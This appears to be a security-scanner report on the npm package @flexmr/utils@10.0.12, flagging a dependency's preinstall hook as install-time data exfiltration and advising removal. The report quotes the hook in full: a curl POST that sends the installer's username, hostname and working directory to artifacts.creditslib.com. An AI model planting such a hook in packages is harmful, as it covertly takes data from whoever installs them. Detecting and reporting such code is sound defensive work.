@flexmr/utils@10.0.12
Generated package
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe declared dependency has an automatic preinstall beacon that discloses installer and environment identifiers to a publisher-selected endpoint. This supports blocking as installation-time data exfiltration.
Static reason
No blocking static signals were detected.
Trigger
Installing @flexmr/utils and running the dependency’s preinstall hook.
Impact
The publisher receives identifying information about the installer and installation environment.
Mechanism
The hook sends an HTTP POST containing the username, hostname, working directory, and a package-linked event identifier.
Attack narrative
The root package depends on a remotely hosted package whose npm Linux and Darwin snapshots define a preinstall hook. That hook automatically posts the installer’s username, hostname, and working directory to the publisher’s endpoint. The scanner-profile snapshot lacks the hook, but that variation does not clear the install behavior present in both npm-profile snapshots.
AI rationale
The declared dependency has an automatic preinstall beacon that discloses installer and environment identifiers to a publisher-selected endpoint. This supports blocking as installation-time data exfiltration.
Evidence
package.json.lpm-dependency-evidence-bb3573a3-61e0-403d-92a1-e504181d2441/0/npm-linux/package.json.lpm-dependency-evidence-bb3573a3-61e0-403d-92a1-e504181d2441/0/npm-darwin/package.json
Network endpoints1
artifacts.creditslib.com/api/pings
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The root manifest declares the remote dependency whose install hook runs during installation.
- The npm Linux snapshot’s preinstall posts the username, hostname, and working directory to the publisher endpoint.
- The npm Darwin snapshot contains the same install-time disclosure with a different event identifier.
Evidence against
Behavioral surface
Trivial
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
13"daemon-thread-lookup-buffer": "https://artifacts.creditslib.com/npm/daemon-thread-lookup-buffer"
High
Suspicious Lifecycle Evidence
The root manifest declares the remote dependency whose install hook runs during installation.
package.jsonView on unpkg · L13.lpm-dependency-evidence-bb3573a3-61e0-403d-92a1-e504181d2441/0/npm-linux/package.jsonView file
13"preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"64cb1e57-4a66-4919-8fa5-03e0222d4cd5\", \"source_type\":\"http\", \"package\":\"@flexmr/utils\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'"
}
}
High
Ai Review Evidence
The npm Linux snapshot’s preinstall posts the username, hostname, and working directory to the publisher endpoint.
.lpm-dependency-evidence-bb3573a3-61e0-403d-92a1-e504181d2441/0/npm-linux/package.jsonView on unpkg · L13Findings
3 High
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidence.lpm-dependency-evidence-bb3573a3-61e0-403d-92a1-e504181d2441/0/npm-linux/package.json
HighAi Review Evidence.lpm-dependency-evidence-bb3573a3-61e0-403d-92a1-e504181d2441/0/npm-darwin/package.json
Affected versions and remediation
This report applies to @flexmr/utils@10.0.12.
See all versions of @flexmr/utils for other recorded verdicts.
- Avoid installing @flexmr/utils@10.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.